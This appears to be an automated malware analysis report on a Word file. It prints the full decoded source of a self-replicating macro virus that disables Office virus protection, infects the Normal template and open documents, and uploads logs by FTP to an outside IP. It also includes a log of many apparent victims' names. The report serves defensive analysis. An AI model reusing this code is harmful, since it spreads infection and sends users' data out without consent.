Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71194cc7bcff1619…

MALICIOUS

Office (OLE)

80.5 KB Created: 2015-06-11 00:53:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 99a6fa93b15e05bbe27855196e5aa550 SHA-1: 099182c888d84e208ea65c44ed200ea833793541 SHA-256: 71194cc7bcff1619b214c1b7914407e075232306c8820e0c6942ad01120a4e1d
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1027 Obfuscated Files or Information T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros. These macros are designed to disable macro protection, replicate themselves, and write a second-stage payload to 'c:\netldx.vxd'. This payload appears to be an attempt to connect to '209.201.88.110' anonymously. The ClamAV detection and critical heuristics for VBA shell calls and self-replication strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9638 bytes
SHA-256: b68a9de1394a963d440ffd862b0775b996019cb58f09b3b503179f3201116258
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True






Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'



' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'



' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'



' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'



' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'



' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'



' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'



' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'



' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'



' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'



' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'



' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'



' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
'                   Wendy Hsiao, Ph.D.



' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'



' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'



' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'



' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'



' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'



' 05:51:53  - Wednesday, 12 May 1999
' qdzhuang
'



' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'



' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'



' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'



' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'



' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'



' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'



' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'



' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'



' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'



' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'



' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'



' 05:13:35 下午 - Friday, 11 Nov 2011
' 尚纳新
'



' 03:14:00 下午 - Monday, 14 Nov 2011
' 闵天龙
'



' 08:20:05 上午 - Tuesday, 15 Nov 2011
' 曾静
'



' 08:37:52 上午 - Friday, 2 Dec 2011
' unknown
'



' 02:40:12 下午 - Monday, 16 Jan 2012
' unknown
'



' 12:59:10 下午 - Thursday, 9 Feb 2012
' 微软用户
'



' 11:32:40 上午 - Friday, 17 Feb 2012
' 王福斌
'



' 10:27:15 上午 - Thursday, 23 Feb 2012
' 颜铭
'



' 03:03:24 下午 - Friday, 24 Feb 2012
' in9
'



' 02:51:37 下午 - Tuesday, 28 Feb 2012
' USER
'



' 06:46:30 下午 - Wednesday, 7 Mar 2012
' 微软用户
'



' 11:37:23 上午 - Wednesday, 28 Mar 2012
' 金格科技
'



' 04:21:10 下午 - Thursday, 10 Apr 2008
' 系统管理员
'



' 02:00:39 下午 - Tuesday, 8 May 2012
' 毛毛
'



' 09:39:42 下午 - Friday, 11 May 2012
' 系统管理员
'



' 07:39:37 下午 - Monday, 14 May 2012
' 朱洪磊
'



' 04:32:57 下午 - Wednesday, 16 May 2012
' 李芳芳
'



' 10:12:47 上午 - Monday, 21 May 2012
' 系统管理员
'



' 02:26:30 下午 - Thursday, 24 May 2012
' 蔡苒
'



' 01:13:31 下午 - Wednesday, 6 Jun 2012
' weaver
'



' 11:36:45 上午 - Tuesday, 12 Jun 2012
' 卢清梅
'



' 02:20:06 下午 - Wednesday, 20 Jun 2012
' 卢清梅
'



' 05:54:40 下午 - Thursday, 21 Jun 2012
' 卢清梅
'



' 10:54:07 上午 - Wednesday, 27 Jun 2012
' 后台管理
'



' 04:09:55 下午 - Friday, 13 Jul 2012
' 粟葳
'



' 05:59:29 PM - Wednesday, 18 Jul 2012
' 李晓健
'



' 02:58:41 下午 - Tuesday, 24 Jul 2012
' 张向南
'



' 09:37:06 上午 - Wednesday, 3 Aug 2011
' 760274
'



' 08:18:53 上午 - Tuesday, 21 Aug 2012
' 760272
'



' 11:04:50 上午 - Tuesday, 21 Aug 2012
' 760360
'



' 09:16:46 上午 - Friday, 24 Aug 2012
' 90623
'



' 02:53:17 下午 - Tuesday, 16 Oct 2012
' 温勇强
'



' 05:41:39 下午 - Saturday, 10 Nov 2012
' 黄雄伟
'



' 03:43:54 PM - Tuesday, 11 Dec 2012
' 唐凯华
'



' 11:01:59 上午 - Sunday, 6 Jan 2013
' 欧冬梅
'



' 03:01:10 下午 - Tuesday, 9 Apr 2013
' 欧冬梅
'



' 03:16:56 下午 - Thursday, 11 Apr 2013
' 谢建新
'



' 03:23:42 下午 - Monday, 15 Apr 2013
' 潘善光
'



' 09:42:46 上午 - Tuesday, 23 Jul 2013
' 刘惠
'



' 09:04:57 下午 - Sunday, 28 Jul 2013
' 王峰
'



' 01:10:02 下午 - Wednesday, 31 Jul 2013
' 王峰
'



' 11:39:44 上午 - Monday, 5 Aug 2013
' 谢建新
'



' 12:20:53 下午 - Tuesday, 6 Aug 2013
' 谢建新
'



' 04:09:24 下午 - Wednesday, 30 Oct 2013
' 凌忠
'



' 05:16:40 下午 - Monday, 4 Nov 2013
' 谢建新
'



' 09:01:45 上午 - Monday, 18 Nov 2013
' 潘运纸
'



' 08:11:27 上午 - Thursday, 28 Nov 2013
' 黄祖琨
'



' 08:40:35 上午 - Monday, 25 Aug 2014
' 胡蓉
'



' 05:20:39 下午 - Tuesday, 30 Sep 2014
' 胡蓉
'



' 09:34:12 上午 - Wednesday, 5 Nov 2014
' 胡蓉
'



' 02:22:00 上午 - Saturday, 20 Dec 2014
' 值长
'



' 09:39:25 上午 - Wednesday, 10 Jun 2015
' 吴嗣勇
'



' 10:11:18 上午 - Friday, 19 Jun 2015
' 吴嗣勇
'